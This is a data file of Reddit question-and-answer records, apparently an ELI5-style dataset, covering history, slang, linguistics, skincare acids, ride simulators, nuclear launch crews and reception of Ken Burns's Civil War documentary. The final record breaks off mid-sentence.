{"q_id": "1sgdf5", "title": "Historikerstreit, or Historian's Quarrel [Modern Germany]", "selftext": "I am reading about the debate over interpretation of the Third Reich that took place just before the fall of the Berlin Wall - focusing on the two philosophers Jurgen Habermas and Ernst Nolte. I am new to the subject, but of what I've read I see both sides as having real merit. I think it is a mischaracterization to reduce Nolte to a reactionary, and while I admire Habermas, I am convinced and not convinced by his thoughts on identity and inherited moral obligations. I want to know what you think.\n\nWhere does this dialogue stand today? What is the role of collective memory/guilt/responsibility in German politics and society? And furthermore, what are some historical and sociological contexts to consider as I read on?\n\nI think this is a wildly interesting topic and would love to see some discussion.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1sgdf5/historikerstreit_or_historians_quarrel_modern/", "answers": {"a_id": ["cdxc23c"], "score": [6], "text": ["I'm not sure if you're already past that, but an excellent introduction to the Historikerstreit in English is Augstein's translated edition of *Forever in the Shadow of Hitler?*.\n\nIt is my perception that German historians and intellectuals have moved on and that the Historikerstreit only gets cited as a thing of the past today. The singularity of the crimes perpetrated by the Third Reich is generally accepted. There might still be some historians discussing it, but that discussion doesn't take place in the public sphere nowadays."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1p3c28", "title": "what does based mean?", "selftext": "I really don't get it\n\nEdit: like \"based God\" or \"based  < name > \" ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1p3c28/what_does_based_mean/", "answers": {"a_id": ["ccyc393", "ccycpa0", "ccyfci7"], "score": [5, 2, 14], "text": ["I think he means how people put the word based before things... For example, I have a friend who puts the word based between their first and last name... have been wondering this myself", "I generally don't do this, but this link basically explains everything-\n\n_URL_0_", "\u201cBased means being yourself. Not being scared of what people think about you. Not being afraid to do what you wanna do. Being positive. When I was younger, based was a negative term that meant like dopehead, or basehead. People used to make fun of me. They was like, \u2018You\u2019re based.\u2019 They\u2019d use it as a negative. And what I did was turn that negative into a positive. I started embracing it like, \u2018Yeah, I\u2019m based.\u2019 I made it mine. I embedded it in my head. Based is positive.\u201d ~Lil. B, BASED GOD"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://knowyourmeme.com/memes/based-god"], []]}
{"q_id": "1ze1fj", "title": "Was the Corrupt Bargain of 1824 really a corrupt bargain?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ze1fj/was_the_corrupt_bargain_of_1824_really_a_corrupt/", "answers": {"a_id": ["cfstp3f"], "score": [3], "text": ["Well, that depends on your definition of corrupt.\n\nAs you probably know, the Election of 1824 relied on a vote in the House of Representatives, because there was no definite consensus on who should be president (no one received a majority of electoral votes, just pluralities).\n\nNow, in theory, Jackson should've won. He received the largest number of electoral votes, and the most popular votes. However, pluralities don't win. Also, the view of America as a democracy was a lot different then; it's commonly argued that the President was not so much a representative of the people yet. Jackson was swept into office in 1828 when the idea gained a real foothold, but it hadn't quite caught yet that the president was the \"People's President\", so much.\n\nNow, because there were 4 candidates, but only 3 could be put to voting in the House of Representatives, Henry Clay was removed from the pool (lowest vote numbers). Jackson, Crawford, and Adams were the ones in the pool. So what happened next is important, and the crux of the name \"Corrupt Bargain\".\n\nClay, who was Speaker of the House at the time, agreed to support Adams. Was that necessarily because he wanted what followed, which was the position of Secretary of State? Plausible, but not factually undeniable. Clay *hated* Jackson, and knew that Adams would've had the best shot at beating Jackson, so he supported him. However, regardless of whether it was \"corrupt\" in the sense that Clay was taking a position that was supposed to be the best path to the presidency (essentially, he figured, leading him to be the next president), it was not illegal. There was nothing against the law about it. It was simply a deal of sorts, or an expression of appreciation.\n\nWhat *matters*, though, is not whether or not it was a corrupt bargain in reality, but how it appeared. We may never know for sure if it was corruption and power-hunger that led to Clay supporting Adams, or just his general hate for Jackson, but the result is the same; the narrative of it being a corrupt bargain caught hold extensively throughout the United States, and it helped lead Jackson to power and a win in 1828. And regardless, Clay supported the candidate he personally preferred, rather than the one that got the largest plurality. So yeah, whether or not it was really a power-hungry grab (which most people think it was, but I don't think we'll ever be 100% sure, but it *was* made a rumor before Adams even offered Clay the job that it was a corrupt bargain), it was definitely not a decision motivated by the will of the people (because that was unclear), and it was definitely characterized and believed to be corrupt, which was as important as it actually being corrupt anyways."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6kyco6", "title": "why is it considered grammatically incorrect to use 'ain't'?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6kyco6/eli5_why_is_it_considered_grammatically_incorrect/", "answers": {"a_id": ["djpqv71", "djprurr"], "score": [25, 64], "text": ["Bigotry toward the poor, specifically Cockneys. \n\n_URL_0_\n\nIt is actually fully grammatically correct to use as a word and has been for centuries. It is just associated with \"common folk\" of poor social standing and so was something frowned upon by teachers and professors who catered primarily to the upper classes. By the time education was opened up to all citizens it was established as bad grammar. ", "I ain't saying that you're wrong, but I ain't saying you're right either.\n\nIt's not grammatically incorrect to use ain't, it's just informal. In any formal writing, \"am not\" is much preferred.\n\nFunnily enough the word \"amn't\" which actually makes my spell check say it isn't a word is also defined, and is also therefore grammatically correct, but is again informal.\n\nTl;Dr it's informal, not incorrect"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.etymonline.com/index.php?term=ain%27t"], []]}
{"q_id": "32fqp9", "title": "what's the difference between r/front and r/all?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/32fqp9/eli5_whats_the_difference_between_rfront_and_rall/", "answers": {"a_id": ["cqareqf", "cqb0w34"], "score": [60, 16], "text": ["/r/front is just the subreddits you have subscribed to. /r/all is every subreddit combined", "If you're logged in, \"the front page\" (which isn't actually at /r/front) is customized to you, based on the subreddits you've subscribed to.\n\nIf you're not logged in, or you haven't customized your subscriptions, the front page displays content from an admin-approved list of subreddits (called \"defaults\").\n\n/r/all on the other hand, is the top posts across all of reddit, and a good way to find popular content from subs you're not subscribed to. It's often similar to the default front page, because subs on the default list get a lot of traffic, and so usually that's where the top posts come from. But occasionally things will catch on in non-default subs, and show up there, too."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2eito5", "title": "Are there cases of two completely unrelated languages sharing or having similar words with the same definition?", "selftext": "I know of the mama/papa case, but are there others in this vein? If so, do we know why?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2eito5/are_there_cases_of_two_completely_unrelated/", "answers": {"a_id": ["ck00od9", "ck00xg7", "ck030ml", "ck034h9", "ck04aq9", "ck04aqc", "ck05qcj", "ck08df1", "ck0dq3l", "ck0m79h"], "score": [59, 20, 9, 12, 7, 2, 21, 3, 5, 2], "text": ["There's the interesting coincidence of the Mbabaram (Australian aboriginal) language--its word for dog was \"dog.\" Unrelated languages also sometimes share onomatopoeias, which are derived from the sound of the thing the word is describing. Examples [here](_URL_0_).", " > If so, do we know why?\n\nTwo main reasons:\n\n1. While the languages themselves may not be related, the words might be, on account of them being borrowed from one language, to the other or both borrowed from the same language or from two related languages.\n\n2. Sheer coincidence.  Languages have tens of thousands of words and a limited amount of sounds so it happens more often than you'd think. ", "Italian *strano* and Russian *strannyi* both mean *strange*, but derive from entirely different words. The Italian one is Latin in origin (duh) and is related to *extra*, while the Russian word comes from *storona*, meaning *side* or *neighborhood*.\n\nThe reason why these things happen is because there is a limited number of sounds in any language, thus there is a limited number of combinations of sounds. So, as languages usually have a lot of words, there are bound to be numerous words from different languages sounding the same or similar to each other. Theory of probability and the law of big numbers tell us that in such a case there are bound to happen coincidences where words from different languages sound alike and have a similar meaning.", "The word \"elite\" in English has the same definition and pronunciation as the Hebrew word \u05e2\u05d9\u05dc\u05d9\u05ea.  The English word, per Wiktionary:  from Old French elit, eslit (\u201cchosen, elected\u201d) past participle of elire, eslire (\u201cto choose, elect\u201d), from Latin eligere (\u201cto choose, elect\u201d).  The Hebrew word is is derived from the word \u05e2\u05dc, meaning \"above\" or \"on\".\n\nThere are many words that move to/from Hebrew from Greek and Latin - but \"elite\" appears to be a coincidence.  There are probably a few more like this.", "Arabic speaker here. The word for earth (as in the dirt of the ground) is *arth* in classical Arabic. To my knowledge the etymologies of both words are completely unrelated.\n\nEDIT: Wanted to add another word that popped in my mind. an 'aalim means a scholar, and alumni means a graduate of a university. Not exactly parallel definitions but for having no relation or shared history it is quite uncanny.", "I would love to know the derivation of the word, \"onomatopoeia\", but it's basically a word that sounds like what the word is describing, like \"bang\" or \"buzz\".  I don't know any language other than English, but I'd bet there are a few \"coincidences\" surrounding words like these.  It would be weird for Hebrew and Mayan to share the same word for something like, \"Mountain\" - but I wouldn't be surprised if they had the same word for \"boom\".", "Maybe not what you are asking for, but still interesting:\n\nRemember that cartoon \"Over the Hedge\"? The title is supposed to sound like *over the edge*, but you just add one letter and it becomes a funny story about forest creatures invading a suburban backyard.\n\nWell in Serbian, edge=*ivica* (EE-vitza) and hedge is *\u017divica* (ZHEE-vitza), so this little play on words can be translated - quite literally:\n*Preko ivice  - >  Preko \u017eivice*\n\nDon't see that very often, do you?", "In Japanese, the word \u305d\u3046 (pronounced \"s\u014d\") basically translates to \"it is so\" or \"it is true\".  As in, for example, a \"just-**so** story\".\n\nThe phrase:\n\n\u306f\u3044\u3001\u305d\u3046\u3057\u307e\u3059\u3002 (pronounced \"hai, s\u014d shimasu.\")\n\nessentially means \"yes, it is so\".  (\u306f\u3044 means \"yes\", while \u3057\u307e\u3059 is verb that means \"to do\", in reference to to \u305d\u3046.)\n", "'sahne'  in turkish has the same meaning and close pronounciation to 'scene'  in english.\n\nyet english version came from greek 'sken' (meaning 'tent') and turkish version was adapted from arabic 'sahan' (meaning 'area') . \n\nsimilarly   'qilay' in eskimo language means 'cloud'  in english but have roots with different meanings . eskimo comes from 'kal' (dark) nostratic root and 'cloud' comes from a germanic word meaning 'mountain' ", "Obrigado is thank you in Portuguese. \nArigato is thank you in Japanese... Pretty close. Some people think the portuguese brought the word from Japan as they were the first Europeans there but I believe it's been proven false. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://books.google.com/books?id=90RAAAAAYAAJ&amp;pg=PR27#v=onepage&amp;q&amp;f=false"], [], [], [], [], [], [], [], [], []]}
{"q_id": "fu7yyl", "title": "how do those baby feet foot masks work? the kind where you soak your feet for 45 mins and a week later all your hard skin peels off. what\u2019s the science behind it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fu7yyl/eli5_how_do_those_baby_feet_foot_masks_work_the/", "answers": {"a_id": ["fmby9to", "fmbyckg", "fmbyhwk", "fmbze9n", "fmc031e", "fmdebks", "fmdolt0"], "score": [5031, 828, 81, 21, 41, 2, 2], "text": ["They use ~~salicylic acid~~ [this is incorrect, see edit below], which is a chemical that breaks down your skin and helps it shed off faster than it normally would on its own. The same chemical is used in greater concentrations to treat plantar warts (Compound W or similar treatments), however those are targeted applications. Foot peels use the same chemical in a lower concentration over the whole foot.\n\nSalicylic acid can also help your skin reduce the amount of sebum, or skin oil, it puts out. Excess sebum is a cause of acne which is why you also see it in acne treatments.\n\nEDIT: Since this is getting a lot of attention and questions, let me say this: I am not a dermatologist, so if you have questions about \"can salicylic acid be used to treat X\" I can't really answer that any better than Dr. Google can. If you're unsure whether it's safe, consult a medical professional!\n\nEDIT 2: /u/llustrous_llama added a helpful comment below:\n\n > To piggyback on your edit, r/skincareaddiction could tell people what salicylic acid can be used for, and what might help with X. They're also not doctors, but man do they do their research.\n\nEDIT 3: /u/LyZiinc has offered a correction to my original comment:\n\n > Gonna hijack this comment to correct your answer.\n > \n > I'm the developer for [PillowSkin](_URL_3_), a cosmetics analytics/tracker software. While salicylic acid is one of the major ingredients for skincare exfoliation, it is not actually one that is responsible for the skin shedding in foot masks. The actual key ingredient that is used for these foot masks are called Alpha Hydroxy Acids (AHAs), and they are the ones that causes your dead and hardened skin to soften and shed off faster. Some common examples of AHAs are lactic acid and glycolic acid.\n > \n > \n > On the other hand, salicylic acid belongs to another group of acids called Beta Hydroxy Acids, which are oil soluble and able to combat acne by dissolving or loosening hardened sebum plugs. Hence, salicylic acid is usually in face washes and acne treatment creams/pads.\n > \n > \n > To prove my point, we can have a look the a foot peeling mask from a popular Korean skincare brand, Etude House:\n >  >  Ingredients:\n >  >  Water, alcohol, **lactic acid**, sodium lactate, **glycolic acid**, glycerin, arginine, peg-60 hydrogenated castor oil, **salicylic acid**, urea, tocopheryl acetate, retinyl palmitate, ascorbic acid, zea mays (corn) silk extract, cucumis sativus (cucumber) fruit extract , pinus palustris leaf extract, camellia sinensis leaf extract, laminaria japonica extract, algae extract, salicornia herbacea extract, gelidium cartilagineum extract, vitis vinifera (grape) fruit extract, citrus aurantium dulcis (orange) fruit extract, pyrus malus (apple) fruit extract, citrus medica limonum (lemon) fruit extract, citrus aurantifolia (lime) fruit extract, sodium hyaluronate, disodium edta, phenoxyethanol, fragrance.\n >  >  \n >  >  _URL_1_\n > \n > \n > Both lactic acid and glycolic acid are placed higher up in the ingredient list, meaning that they are present in the product at higher concentrations. In this case, the formulation is using a combination of both AHA and BHA for maximum exfoliation.\n > \n > \n > Some good readings:\n > \n > - [Labmuffin on how foot exfoliating products work](_URL_0_)\n > \n > - [Paula's Choice explaining difference between AHAs and BHAs](_URL_2_)", "So skin is made of lots of layers of cells, and they stick together through stuff that acts like glue. That way, even though you're doing stuff like sitting on your butt watching Tiger King, or running, your skin doesn't come flying off. \n\nFoot masks are basically different kinds of acids that dissolve the glue sticking the cells together, so the skin comes off. It takes a while for all of the glue to dissolve, which is why it's a week of shedding. But, if you do stuff that breaks up the glue naturally (like running or rubbing that skin a lot), it'll break off earlier.", "They've got a high concentration of acids - particularly  alpha hydroxy acids (AHAs) and  salicylic acid - which you might recognize from face peels. Baby Feet is basically a chemical peel for your feet. These kinds of acid soften the keratin and loosen skin cells. Keratin being the structural stuff that holds your outer most layer of skin together.", "The way that skin grows is that the top most layer of cells continuously grows outward  and begins to die.  Underneath are younger living cells that are still able to maintain growth/cell division.   It is replaced by younger living cells underneath.   t is comprised of a hard protein called keratin found in your nails and in a variety of tissues in a diverse array of organisms.  \n\nSo, the outermost layer of skin is actually comprised of dead cells which do not adhere to one another as well as the younger living cells. The older cells are are easier to slough off, which I believe is accelerated by these treatments.  What remains is a layer of still living cells.  I am not knowledgeable enough or qualified to state what medical benefits this might offer.  \n\nWildly speculating, I am guessing this might be purported to prevent areas of  hard, dead cells stuck together that are both visually unappealing and potentially uncomfortable.  \n\nBelow is a picture ripped from google images and NOT MINE:\n\n[_URL_2_](_URL_0_)\n\nTaken from:\n\n [_URL_1_](_URL_1_)", "Eli5: it's like paint thinner that slowly removes paint from a wall.\n\n\nThink of skin cells like sand. Usually, when they die we shed them off like the soft sand in the Sahara desert sifting in the wind. Our feet however, due to constant pressure from supporting the body's weight, dont slough off those dead skin cells so freely. And tend to build up like a callous on our heels and such. Think of it like those dirt pie bombs at the beach that look like rocks but break up into sand when you crush it. Exfoliating foot peels contain alpha-hydroxyl acids, called fruit acids (lactic, glycolic, and citric acid). These acids absorb into the Moisture in your skin and break down the mucopolysaccharides that bind the dead skin cells together like a liquid eraser to a pencil mark", "I had read \u201cfoot masks\u201d as \u201cface masks\u201d and pictured OP using a slab of skin from his feet that peeled off as a face mask in public.", "On a side note, is there any benefit to their use other than aesthetic (using that term lightly)? Surely you would want to keep any callous around the heels and balls of your feet? Otherwise you would have to deal with blisters from boots etc all over again?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://labmuffin.com/how-does-baby-foot-exfoliating-peel-work/", "https://www.iherb.com/pr/etude-house-bebe-foot-mask-1-pair-0-68-fl-oz-20-ml-each/83444", "https://www.paulaschoice.com/skin-care-advice/exfoliants/difference-between-aha-and-bha-exfoliants", "https://www.pillowskin.com"], [], [], ["https://images.slideplayer.com/25/7611861/slides/slide_10.jpg", "http://slideplayer.com/slide/7611861/", "https://images.slideplayer.com/25/7611861/slides/slide\\_10.jpg"], [], [], []]}
{"q_id": "2l8pwn", "title": "how do ride simulations (e.g. transformers ride, star tours, simpsons ride) create the sensation of speed, falling, flying etc.?", "selftext": "Recently went on the Transformers Ride at Universal Studios, and really wanted to know how it felt like we were moving so fast when we were essentially stationary. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2l8pwn/eli5how_do_ride_simulations_eg_transformers_ride/", "answers": {"a_id": ["clsi9m8"], "score": [2], "text": ["They tilt backwards. Feeling the pull of gravity is the same sensation as the feeling of acceleration (and supposedly in some theoretical physics sense they actually are the same thing). Since you're looking at a screen, you can't tell the difference."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5qb4sm", "title": "are nuclear bomb launchers really trained to \"launch the nukes at a moment's notice\"?", "selftext": "Hello guys... this may sound like a very stupid question to ask an explanation for, but... I just recently found this comment on a picture on *Danbooru* of all things, and it made me ask my question to you guys here because... I don't understand anything that he is meaning.\n\nSo basically, someone in the comment section claimed that we live in a much different time than the Cold War and that soldiers aren't kept in isolation.\n\nThis person claimed otherwise, and this is what he wrote:\n\n\"**They absolutely do keep soldiers in underground bunkers and give them constant readiness tests to see that they are ready and willing to nuke the world at a moment's notice with no difference from how they were trained in the 60's. (They even use the same, ludicrously obsolete, equipment.)**\n\n**In fact, things are even more ludicrously risky than before, as the knowledge of how obsolete they are has drained morale from the units. There have been repeated scandals involving cheating on tests about safety precautions, as well as findings of rampant drug abuse. The nuclear arms are in the hands of people who are coked up and ready to shoot at anything, regardless of knowing what button actually aims the missile.**\n\n**You may think it's been forgotten and that things must have surely changed, but that doesn't make it so.**\"\n\nThis may sound stupid, but I really don't know what he's actually talking about. What \"obsolete equipment\" does he even mean? Are soldiers really trained to be basically insane as he claims? I would really like to know. Because I'm not sure if the US military actually IS insane...\n\nFurthermore, he also posted another comment earlier in response to someone else claiming that there's always \"a human trigger puller at the end that could defy the orders\", which is as follows:\n\n\"**A human that is selected and trained to unquestioningly follow those orders because in the event of a real nuclear attack, there are only 4 minutes to respond. They don't have time to inform the entire chain of command, they are ordered to assume the people above them know what they are doing.**\"\n\nThis may be a different matter, but it does have a lot to do with that first comment I cited. I realize my request doesn't seem like something for this ELI5 subreddit, but I'm the kind of guy who appreciates coherent explanations as opposed to short unhelpful responses... so this is why I came here.\n\nAnd thus, I would really appreciate an explanation to this... because I sure as hell don't know any better.\n\nThanks in advantage though.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5qb4sm/eli5_are_nuclear_bomb_launchers_really_trained_to/", "answers": {"a_id": ["dcxs71k", "dcxty5d", "dcxz3r6"], "score": [2, 8, 3], "text": ["Yes they are ready to launch a bomb at any given moment. People are manning the launch buttons round the clock with orders to fire if they are called to do so. It has to be this way or else mutually assured destruction wouldnt work and the threat of retaliation wouldnt be as potent. The equipment that they use basically has to be guaranteed to work and be unhackable so for the most part the nuclear terminals run on 1970s technology that hasnt been updated since the day it was installed. For the most part they are well trained soldiers who know what they are doing, however our treatment of our nuclear arms is not of the highest standard.", "So, nukes being nukes, no one is 100% sure the exact chain of events that would have to be taken to go from someone with nuclear launch authority ordering a nuclear strike, to the keys being turned in a missile silo or sub. However, we do know that there are lots of steps in the process, including a transmission of codes, checking the codes, multiple people in the launch silo confirming that they have the proper codes, before they can actually turn the keys that launch the missiles.\n\nIn short, yes, the launcher crews are trained to do as they are bid. One of the most important things about the existence of nuclear weapons is their *deterrent* value, namely \"If you attack me, then I can attack you back just as hard.\" That means for the system to work I--as the attacker--have to believe that if I attack you, not only do you need the physical ability to hit back, but I have to believe that you *would* hit back. So, if it seems like your missile crews wouldn't *actually* launch their missiles if push came to shove, your deterrent is less valuable. So yes, there's a great emphasis on training the missile crews to do what they're told to do. \n\nIn terms of obsolete equipment, many missile silos aren't equipped with modern tech. In fact, there are reports that US missiles silos are still run off computers from the 70s with their programs stored on 8 inch floppy disks. \n\nI'm not sure if this has helped answer your question, but I'm hoping it helps out somewhat. Feel free to ask any follow ups.  \n\n", "The people who are selected to do the particular job you are talking about are simply normal people like yourself that merely have some exceptional attributes. One of the most important is reliability. Our nuclear program is comprised of land, sea and air launched weapons. ICBMs are in land based silos and are manned around the clock, submarine based missiles are also manned around the clock, air launched weapons are on board the aircraft and waiting for launch. In the Air Force, the launch will be done from inside a numbered Air Force command post. Nuclear war is probably not going to be something that happens in the blink of an eye and tensions will most likely escalate over a period of hours or days. At a certain point, the alert system, which has been escalating as well will reach a place where people are 'in place'. At that point, those folks that have been selected to perform will leave their normal duty station and report to the Command Post where they will be secured inside. Everything follows a preset routine and it is merely a matter of doing what is necessary. I know these things because I did these things. I am a graduate of the Armed Forces Air Intelligence Training Center, held a Top Secret SIOP-ESI clearance, was a member of the Air Force Human Reliability Program and served with the Strategic Air Command, 8th Air Force, 43rd Strategic Wing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "w49rs", "title": "r/ggggg", "selftext": "_URL_0_\n\nSomeone explain to me how there can be 4000 subscribers when every post is essentially the same?  And how can there be over 100 comments on some posts, where it seems absolutely arbitrary how many upvotes or downvotes a person gets?  What is the joke here?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/w49rs/eli5_rggggg/", "answers": {"a_id": ["c5a3tqy", "c5a443l", "c5a53fx", "c5a5zx8", "c5a6sa9", "c5a98tc", "c5afulf", "c5agi6o"], "score": [12, 26, 21, 4, 8, 5, 5, 2], "text": ["Just shake your head a bit. Mumble 'alright' and then move along.  ", "Sometimes there are in-jokes, a word or phrase that gets a response. They can be positive, like 'Charlie bit my finger' reminds you of a weakly funny video, or 'blue waffle' reminds you of, well I'll let you find out. \n\nThese in jokes are prized, everyone wants to be in on it without it being obvious to everyone else, but without having to do work to learn the private joke. This is devolution. The in joke becomes more basic to be something easily joined. If it gets too simple it's just not funny. That subreddit may be funny to the original ten people due to it reminding them of a more complex joke. ", "gGGgg gg ggGGG GG gggg ggggggGGGggGGgGGGGgg g gG", "gggg! ggggg, gggGGgGGgggggG, G, Ggg gg.", "What I find funny is that there are controversial posts even though everything is g", "This is going to maybe sound kind of rude, but the joke is how confused you are about it.\n\nIt's pretty basic humor, really. Someone runs into a lantern pole and gets hurt--funny. Someone sees something very elaborate and pointless and gets confused--also funny (to some). A low key prank essentially.", "It's like a super tard-bag version of /r/malkovich .", "A lot of \"readers\" on subreddits are fake. For example /r/spacedicks has over 14 **BILLION** subscribers. "]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/ggggg"], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "3x29x6", "title": "The 1990 series 'The Civil War' is one of the most widely acclaimed and popular documentaries in history, and is credited with greatly increasing American public interest in the US Civil War. What was the academic reception to the series?", "selftext": "'The Civil War' received wide critical acclaim and broke numerous records for viewership for documentaries, but I don't know anything about the academic response to the series, or indeed whether there was one. Wikipedia mentions a 1997 book edited by Robert Brent Toplin titled 'Ken Burns's The Civil War: Historians Respond,' so I can only assume that there was an academic reaction of some form. Would anyone be able to expand on this response, not just in Toplin's book but more widely?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3x29x6/the_1990_series_the_civil_war_is_one_of_the_most/", "answers": {"a_id": ["cy10iz3", "cy1pgt7", "cy2buw6"], "score": [39, 9, 3], "text": ["The responses to this question that I asked 2 years ago may be of interest to you:\n\n_URL_0_", "The biggest problem I have with Ken Burns is that he is so focused on the Atlantic Seaboard that he can't see the rest of the nation. This made his series \"The West\" appalling, and it ruined the segment in Twain dealing with the author's Western sojourn - which Burns totally misunderstood. I liked \"The Civil War\" but it was basically \"the Army of Northern Virginia\" with a \"few additional notes\" - again Atlantic Seaboard. It was a brilliant telling of that story, but it was not the Civil War at large. It was better than what followed, however, which has come to serve as evidence of how Burns became addicted to producing quantity rather than quality.", "This isn't a review, in the proper sense, of Ken Burns' great Civil War epic. I don't think anyone has the time to watch that whole thing and do a proper take down of factual and conceptual errors which, as noted here, it is often rife with. And if I'm being honest, the last time I watched the thing, it was on VHS anyways. Rather, this is a META Review, analyzing what *other people* have said on the matter. Certainly there are more reviews out there than the ones that I used, but I tried to keep it varied, just opening them up in the order that I found them rather than trying to pick and choose ones I agreed with best, but even so you will see that there are some very consistent threads across reviews.\n\nKen Burns' \"Civil War\" is certainly considered to be a masterpiece by the viewing public, but not necessarily by the academics. Earlier this year, PBS rebroadcast the series in conjunction with its 25th Anniversary, and you can find plenty of praise. One piece run by The Guardian subtitles itself \"America's Greatest Documentary\", and Newsday terms the series \"a visceral, deeply felt film on a long-distant war that lived on in hearts and minds.\" But you can also find more balanced analysis, as a number of articles focus on the enduring controversy of the series, which, in the words of the LA Times, \"has been criticized from time to time by historians who say it distorted or ignored important events\" Burns himself mostly brushes off such criticisms:\n\n > \"We had a sort of dust-up in the first few years after the series: 'It didn't do this,' 'it didn't do that,'\" Burns said. \"That's music to my ears. \u2026 If you make an 11 1/2-hour film on 'The Civil War' \u2026 and people are telling you what you've left out, you just feel terrific because they're betraying their own biases. But nobody's saying, 'It's boring.'\"\n\nand goes on to state that he believes his series has done wonders to enliven teaching of a topic students might otherwise lack any interest in. Indeed, there are many papers covering the topic of how to utilize the series in the classroom as an educational tool (although to be sure, recommendations include critical analysis in most cases). But even some educators do take issue with that. Writing in Slate, James M. Lundberg, an assistant professor at Lake Forest, notes that while the enduring popularity of the film fills seats in his Civil War class, it can at times be \"*a deeply misleading and reductive film that often loses historical reality in the mists of Burns' sentimental vision and the romance of Foote's anecdotes.\"* Burns *\"performs an impressive kind of alchemy*\", \n\n > Working in the soft glow of nostalgia, he manages to take a knotty and complex history of violence, racial conflict, and disunion and turn it into a compelling drama of national unity, [....] [and] perfectly calibrated to please most every constituency in the post-Vietnam culture wars.\n\nHe also raises the oft-mentioned issue of Shelby Foote, the novelist-turned-historian most famous for his three-part narrative history on the war, which itself is subject to its share of criticism. Foote especially pushes the unity narrative as Lundberg sees it, \"*[asking] us to put aside the very troubled political meanings of the Confederate Lost Cause and join him in an appreciation of both its courtly leaders and its defiant rank-and-file soldiers.\"* Foote has particularly been criticized for his archaic views on Civil War historiography, which in no small part include the marginalization of slavery as a cause in the war. As noted by Christopher Sharrett, in an interview not included in the final cut but available in the extra material:\n\n > Although Foote mentions Southern concern about \"property,\" he discounts slavery as a cause of the war. Here he makes some astonishing statements. In an archival interview included with supplements in The Civil War's new edition, Foote says that slavery was \"an issue\" but was used \"almost as a propaganda thing,\" and that \"those who wanted to exploit it could grab onto it.\" He also says that slavery was \"doomed to extinction\" and that \"some plan of compensation would have worked in time .\" There is no evidence whatsoever to support these remarks, and in fact the opposite is very basic to understanding Confederate secession.\n\nFoote is controversial in his own right, and not just in association with the series (Where he, it should be noted, \"[spoke 7,653 words compared to the second highest speaker, who spoke 1,112 words\" and has '73.5' percent of all narration](_URL_0_)). His novels, such as *Shiloh*, and his hefty trilogy *The Civil War: A Narrative* are classics, and rightly so, but even eliding over the criticism of his work, Foote considered himself a novelist first, and an historian second - something that would make many historians probably say \u201cno shit\u201d given the laissez faire attitude he took towards footnotes and anecdotes in his work, to which he simply responded:\n\n > I have left out footnotes, believing that they would detract from the book's narrative quality by intermittently shattering the illusion that the observer is not so much reading a book as sharing an experience.\n\nHis method, obviously, was quite in contrast to accepted historiography even at the time, and it has only aged worse. Afterall, I\u2019ve heard it said he never met an anecdote he didn\u2019t like, and whatever the appeal of narrative history to the general public - I love a good pop narrative now and then myself - the underlying drive behind it can be a dangerous one, both in Foote\u2019s books as well as as we see here with Burns. It captures the imagination of the audience, but it poisons interpretation, and becomes infected by the story that the teller wishes to make of it, which necessarily separates it from an objective retelling to a great degree. George Garrett puts it well when speaking of Foote\u2019s writing that  \u201c*[narrative history] engages the imagination first,\u201d* in comparison to conventional history, which fails to similarly engage, \"*forever distorted by known outcomes\".*\n\nBorn and raised in the South, while he may in theory have decried the myth of the Lost Cause, it is hard not see the story he crafts nevertheless being thoroughly infected with it by proxy if nothing else, grounded in a perspective of the war that has been mostly killed off since he was writing by newer scholarship such as McPherson or Gallagher, neither of whom would write something like:\n\n > the victors acknowledged that the Confederates had fought bravely for a cause they believed was just and the losers agreed it was probably best for all concerned that the Union had been preserved.\n\nAnd although the vivid prose which is the biggest draw of the work truly does make it a piece of art, it is the same factor which detracts from the objectivity of the narrative, as many a review has noted, as in one case, \u201cunderstanding and love, capturing the distinctive qualities of a Southerner [Lee] he never ceases to admire.\u201d While perhaps rejecting the most monstrous aspects of Lost Cause sympathy, he certainly could not totally separate himself from the romantic hold that the period hold on so many, noting, for instance, on the 2001 Mississippi flag vote:\n\n > I'm for the Confederate flag always and forever. Many among the finest people this country has ever produced died in that war. To take it and call it a symbol of evil is a misrepresentation.\n\nHe \u2018laments\u2019 how the educated members of Southern society, *\u201callowed white supremacists to misuse their flag\u201d* as a symbol of hate in the 1960s in his talks with the author Tony Horwitz, but seems to lack anything approaching a nuanced perspective of the issue, which Grace Elizabeth Hale notes is a sad irony, since as a young man, his published correspondence with the writer Walker Percy demonstrated a \u201c*much more nuanced and critical stance toward segregationists*\u201d during the 1950s and \u201860s, which he seems to have lost in his old age, describing the Freedom Riders now as having \u201codd haircuts and strange baggy clothes\u201d, and giving what she sums up as a \u201c*peculiar take on Civil War remembrance\u201d*.\n\nTo return to the main topic at hand, the series has its boosters when addressing whether it leans too close into \"Lost Cause\" narrative however, and whether it is brushing over the centrality of slavery even if Foote might like to. Summarized in the LA Times, Joan Waugh, an historian at UCLA, *\"sees the Burns film as a valuable part of a 